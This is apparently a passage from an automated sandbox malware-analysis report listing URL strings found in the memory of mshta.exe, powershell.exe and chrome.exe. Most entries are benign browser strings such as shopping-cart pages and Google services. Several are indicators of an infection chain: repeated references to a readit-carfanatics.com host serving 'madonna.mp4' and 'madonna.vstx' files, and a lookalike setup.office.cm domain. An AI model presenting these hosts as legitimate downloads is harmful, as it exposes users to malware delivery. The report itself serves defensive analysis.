Source: mshta.exe, 00000002.00000003.6205326146.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191125172.0000000000581000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191983403.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6209834370.0000000000582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4Zfs
Source: mshta.exe, 00000002.00000003.6198115173.0000000006494000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6198350519.0000000006496000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6198314907.0000000006495000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4bxzaewu
Source: mshta.exe, 00000002.00000003.6191125172.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6205326146.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6209834370.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191983403.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4cC:
Source: mshta.exe, 00000002.00000003.6205326146.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191125172.0000000000581000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191983403.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6209834370.0000000000582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4e
Source: mshta.exe, 00000002.00000002.6210713799.0000000002D80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4ers
Source: mshta.exe, 00000002.00000003.6205326146.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191125172.0000000000581000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191983403.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6209834370.0000000000582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4hf
Source: mshta.exe, 00000002.00000003.6198314907.0000000006495000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6200890662.0000000006485000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4https://pawpaws.readit-carfanatics.com/madonna.mp4
Source: mshta.exe, 00000002.00000003.6205326146.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191125172.0000000000581000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191983403.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6209834370.0000000000582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4tCache
Source: mshta.exe, 00000002.00000003.6205326146.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191125172.0000000000581000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6191983403.0000000000582000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.6209834370.0000000000582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4tCookies
Source: mshta.exe, 00000002.00000002.6210192215.0000000000618000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6192860046.0000000000613000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.6194895355.0000000000616000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4tLMEMh
Source: mshta.exe, 00000002.00000002.6209706200.0000000000558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws.readit-carfanatics.com/madonna.mp4xxL
Source: powershell.exe, 00000005.00000002.7003687296.0000000005008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws1.readit-carfanatics.com
Source: powershell.exe, 00000005.00000002.7001933185.0000000002EA0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.7045596872.00000000087B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pawpaws1.readit-carfanatics.com/madonna.vstx
Source: chrome.exe, 00000008.00000002.7127711742.0000584C00D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067538797.0000584C011DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067757853.0000584C00534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poshmark.com/bundles/shop
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/
Source: chrome.exe, 00000008.00000003.7090700932.0000584C00388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7062986380.0000584C00388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7072264115.0000584C00388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122061794.0000584C0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7066437597.0000584C0038A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7071016208.0000584C00388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000008.00000002.7120202707.0000584C00014000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129190688.0000584C00FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u301-b09/d3c52aa6bfa54d3ca74e617f18309292/JavaSetup8u301
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure-oldnavy.gap.com/shopping-bag
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132920169.0000584C014C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128366984.0000584C00E80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txt
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.newegg.com/shop/cart
Source: chrome.exe, 00000008.00000002.7121569018.0000584C0025C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128161791.0000584C00E24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000008.00000002.7125938414.0000584C00A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.cm/?
Source: chrome.exe, 00000008.00000003.7091039489.0000584C018B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128228349.0000584C00E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129789176.0000584C010D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128431737.0000584C00E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122538576.0000584C0048C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7123699738.0000584C0078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130114476.0000584C01130000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7121466286.0000584C00238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129130302.0000584C00FC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130680670.0000584C011D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130114476.0000584C01130000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130256930.0000584C0116C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/?ms.officeurl=setup
Source: chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129789176.0000584C010D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128431737.0000584C00E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130000450.0000584C0110C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/EnterPin?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8
Source: chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129789176.0000584C010D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/Home/EligibileActModern?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8
Source: chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/Home/Provision?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8
Source: chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130626113.0000584C011C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122538576.0000584C0048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/SignIn?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8&redirectUri=https%3A%2F%2F
Source: chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122538576.0000584C0048C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7123699738.0000584C0078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/SignIn?ru=https%3A%2F%2Fsetup.office.com%2F%3Fms.officeurl%3Dsetup
Source: chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/home/ProvisionLoading?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://setup.office.com/signin-oidc
Source: chrome.exe, 00000008.00000003.7034076552.00005848005CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7033822900.00005848005B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7033712865.00005848005AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com
Source: chrome.exe, 00000008.00000003.7096839964.00005848006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091875487.0000584C01988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000008.00000003.7034076552.00005848005CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7033822900.00005848005B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7033712865.00005848005AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comp_
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shop.advanceautoparts.com/web/OrderItemDisplay
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shop.lululemon.com/shop/mybag
Source: chrome.exe, 00000008.00000002.7127711742.0000584C00D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131890276.0000584C01368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7127106336.0000584C00C68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sparkle-project.org/)
Source: chrome.exe, 00000008.00000002.7127786067.0000584C00D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122341169.0000584C00462000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: powershell.exe, 00000005.00000002.7041071447.0000000007980000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: powershell.exe, 00000005.00000002.7041071447.0000000007980000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: powershell.exe, 00000005.00000002.7041071447.0000000007980000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/cart/
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.usps.com/store/cart/cart.jsp
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://streams.videolan.org/upload/
Source: chrome.exe, 00000008.00000002.7127711742.0000584C00D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129564312.0000584C0106F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129838311.0000584C010E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bT
Source: chrome.exe, 00000008.00000002.7118132511.000058480006C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: chrome.exe, 00000008.00000002.7128161791.0000584C00E24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tpc.googlesyndication.com/sodar/Enqz_20U.html
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7124458709.0000584C00878000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7090243599.0000584C0181C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7133180264.0000584C01550000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tr.snapchat.com/cm/i
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/search
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7124337555.0000584C0084C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7124608954.0000584C00894000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://windows-drivers-x04.blogspot.com/2013/06/bios320exe-64-bit-download.html
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://winsparkle.org/)
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.abebooks.com/servlet/ShopBasketPL
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.academy.com/shop/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.acehardware.com/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.adorama.com/als.mvc/cartview
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ae.com/us/en/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.altardstate.com/cart/
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/gp/cart/view.html
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/gp/cart/view.html
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.anthropologie.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.apple.com/shop/bag
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.atlassian.com/purchase/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.att.com/buy/cart
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7129675523.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7063139267.0000584C010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/
Source: chrome.exe, 00000008.00000002.7132854449.0000584C014AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7134527597.0000584C01848000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe
Source: chrome.exe, 00000008.00000002.7121965738.0000584C0036D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exeB
Source: chrome.exe, 00000008.00000002.7134527597.0000584C01848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exeime
Source: chrome.exe, 00000008.00000002.7133806940.0000584C01730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132789643.0000584C01498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exe
Source: chrome.exe, 00000008.00000002.7133806940.0000584C01730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exeHandler
Source: chrome.exe, 00000008.00000002.7121965738.0000584C0036D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exeP
Source: chrome.exe, 00000008.00000002.7132654436.0000584C01464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/site/
Source: chrome.exe, 00000008.00000002.7130734861.0000584C011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7132986565.0000584C014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130114476.0000584C01130000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/
Source: chrome.exe, 00000008.00000002.7121965738.0000584C0036D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/0
Source: chrome.exe, 00000008.00000002.7121965738.0000584C0036D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/09P4
Source: chrome.exe, 00000008.00000002.7120726162.0000584C000E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7091201218.0000584C01280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/v
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.backcountry.com/Store/cart/cart.jsp
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.basspro.com/shop/AjaxOrderItemDisplayView
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bathandbodyworks.com/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bedbathandbeyond.com/store/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.belk.com/shopping-bag/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bhphotovideo.com/find/cart.jsp
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bloomingdales.com/my-bag
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.boostmobile.com/cart.html
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bricklink.com/v2/globalcart.page
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.brownells.com/aspx/store/cart.aspx
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.buybuybaby.com/store/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.carid.com/cart.php
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.chegg.com/shoppingcart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.containerstore.com/cart/list.htm
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.costco.com/CheckoutCartDisplayView
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.crateandbarrel.com/Checkout/Cart
Source: chrome.exe, 00000008.00000002.7125432026.0000584C009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dickssportinggoods.com/OrderItemDisplay
Source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: chrome.exe, 00000008.00000003.7069414637.0000584C005A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7122917388.0000584C005A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7071854524.0000584C0059C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7072029396.0000584C005A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dillards.com/webapp/wcs/stores/servlet/OrderItemDisplay
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dsw.com/en/us/shopping-bag
Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7131194512.0000584C01268000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130412789.0000584C01190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7128366984.0000584C00E80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.eicar.org/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.electronicexpress.com/cart
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.etsy.com/cart/
Source: chrome.exe, 00000008.00000002.7125088649.0000584C00944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.eyebuydirect.com/cart
